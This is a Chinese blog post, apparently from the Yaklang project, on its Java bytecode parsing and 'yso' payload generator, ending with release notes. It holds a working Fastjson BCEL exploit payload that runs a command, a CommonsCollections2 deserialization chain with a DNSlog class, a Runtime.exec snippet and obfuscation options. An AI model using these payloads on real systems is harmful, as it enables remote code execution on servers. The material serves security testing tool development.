基础设施:Yaklang Java字节码能力支持
0x0背景
长期以来,Java漏洞的检测与利用都离不开Java环境,所以Java漏洞相关的POC或EXP几乎都是基于Java编写。(一些特殊场景也可以将class或序列化的对象以二进制的形式储存,使用http请求的header作为参数,来脱离对Java环境的依赖。)
Java代码执行漏洞一般是通过加载类的静态代码块实现,所以需要动态修改类名。使用Header作为命令的参数会有明显的特征,且有长度限制,所以最好将需要执行的命令硬编码到class里。基于且不限于以上的原因,脱离java环境是安全融合避不开的路障。
除了类加载的漏洞利用,将Gadget与Class组合,得到的payload还可适用于各种反序列化漏洞利用场景。
0x1解析Java字节码
Yaklang 已经支持对Java序列化数据的解析与生成,可以修改一些对象的属性值。但还不够,例如动态修改类名、修改参数、变量混淆等等,都可以通过解析Java字节码实现。
Class文件是有固定结构的,各部分结构体之间没有分隔符,而是通过固定长度或顺序以区分不同结构体。Class文件包含的结构体如下。类型的u1,u2等表示1字节的无符号数、2字节的无符号数,其它的是复合结构体。
类型 | 名称 | 说明 | 长度 | 数量 |
u4 | magic | 魔数,识别Class文件格式 | 4个字节 | 1 |
u2 | minor_version | 副版本号(小版本) | 2个字节 | 1 |
u2 | major_version | 主版本号(大版本) | 2个字节 | 1 |
u2 | constant_pool_count | 常量池计数器 | 2个字节 | 1 |
cp_info | constant_pool | 常量池表 | n个字节 | constant_pool_count-1 |
u2 | access_flags | 访问标识 | 2个字节 | 1 |
u2 | this_class | 类索引 | 2个字节 | 1 |
u2 | super_class | 父类索引 | 2个字节 | 1 |
u2 | interfaces_count | 接口计数器 | 2个字节 | 1 |
u2 | interfaces | 接口索引集合 | 2个字节 | interfaces_count |
u2 | fields_count | 字段计数器 | 2个字节 | 1 |
field_info | fields | 字段表 | n个字节 | fields_count |
u2 | methods_count | 方法计数器 | 2个字节 | 1 |
method_info | methods | 方法表 | n个字节 | methods_count |
u2 | attributes_count | 属性计数器 | 2个字节 | 1 |
attribute_info | attributes | 属性表 | n个字节 | attributes_count |
0x1.1解析Java字节码可以做什么?
根据Class文件结构,解析为Go结构体,保证数据的不丢失就可以再转回字节码。通过Go结构体不仅可以实现对字节码的修改、还可以作为中间结构,可以实现Json、BECL、Bytes数据互转。
常量池是Class结构中的一个重要组成,通过对常量池的修改,可以实现动态的类名、对变量名的混淆,甚至去控制代码逻辑。
0x1.2字节码转Json
如图是将test类转json后的样子,JavaClass结构清晰可见。对json修改后,可转成字节码,实现了字节码的可读、可改。
0x0.3字节码转Bcel
字节码与BCEL之间可以互相转换,一些场景下可能用到BCEL,如Fastjson,使用Yaklang可轻松实现漏洞检测、利用。
// 生成fastjson
// GenerateSpringEchoEvilClassObject可选参数
// springHeader #header回显的key、value
// springParam #命令参数
// springRuntimeExecAction #命令执行(默认只回显不执行)
// springEchoBody #在body回显(默认在header回显)
classObj = yso.GenerateSpringEchoEvilClassObject(yso.springParam("ls"),yso.springEchoBody(),yso.springRuntimeExecAction())
bcelStr,err = yso.ToBcel(classObj)
printf("{\"@type\":\"org.apache.commons.dbcp.BasicDataSource\",\"driverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"},\"driverClassName\":\"%s\"}", bcelStr)
// 输出:
// {"@type":"org.apache.commons.dbcp.BasicDataSource","driverClassLoader":{"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"},"driverClassName":"$$BCEL$$$l$8b$I$A$....
测试payload:
0x2动态生成Class
Yaklang内置了一些常用的class(还在补充中),yso.GenerateXXXEvilClassObject
系列方法可以生成ClassObject结构体,通过参数可以控制类的生成。如GenerateSpringEchoEvilClassObject
的可选参数springEchoBody
可设置在body回显。除了这种私有的参数,还有下面这些公有参数控制类的生成。
// evilClassName #设置类名(默认随机类名)
// useConstructorExecutor #通过构造函数命令执行(默认使用静态代码块)
// obfuscationClassConstantPool #对变量名进行混淆(默认开启)
下面是一些内置的类
Dnslog
Dnslog是漏洞检测常用的方式,但很多payload是通过命令执行,再通过ping触发dnslog。这种方式可能会由于环境问题或杀软拦截命令执行导致检测失败,所以提供dnslog类,通过java的Inet4Address触发Dnslog。
// 生成class字节码
classObj = yso.GenerateDNSlogEvilClassObject("dnslog.com")
classBytes,_ = yso.ToBytes(classObj)
// 生成CC2的paylaod
serObj,_ = yso.GetCommonsCollections2JavaObject(yso.useDNSLogEvilClass("dnslog.com"))
serBytes,_ = yso.ToBytes(serObj)
RuntimeExec
RuntimeExec执行命令,通过下面的方式自动选择shell
if (File.separator.equals("/")) {
var1 = new String[]{"/bin/sh", "-c", cmd};
} else {
var1 = new String[]{"cmd", "/C", cmd};
}
Empty SimplePrincipalCollection
可用于shiro漏洞检测。
XXXEcho
Tomcat/Weblogic/Spring等中间件、框架的回显。
0x3总结
完成Java字节码的能力支持后,基本可以做到完全脱离Java环境,通过Yaklang的几行代码轻松实现Java相关漏洞的检测和利用,满足各种需求。后面我们要做的就是通过图形界面构造Payload,以可视化的方式,点点点生成序列化Payload、生成Yak代码。
更新通知
Yaklang 1.0.17
1. 修复 Web Fuzzer 对443 端口强制启用 HTTPS 的不恰当处理 @奶权
2. 修复端口扫描中直接输入 URL/Domain:Port 的不恰当处理 @TimwhiteZ @sharecast
3.修复关闭 web 指纹识别的情况下,不恰当的端口开放状态处理 @sharecast
4. 新增 RPA, 支持一定程度上的浏览器爬虫操作 @bcy2007
5. 优化 yso 对外开放接口,新增链 @z3
6.新增 facades 反连服务器的 yak 接口 @z3
7.Nuclei 依赖升级到 2.7.x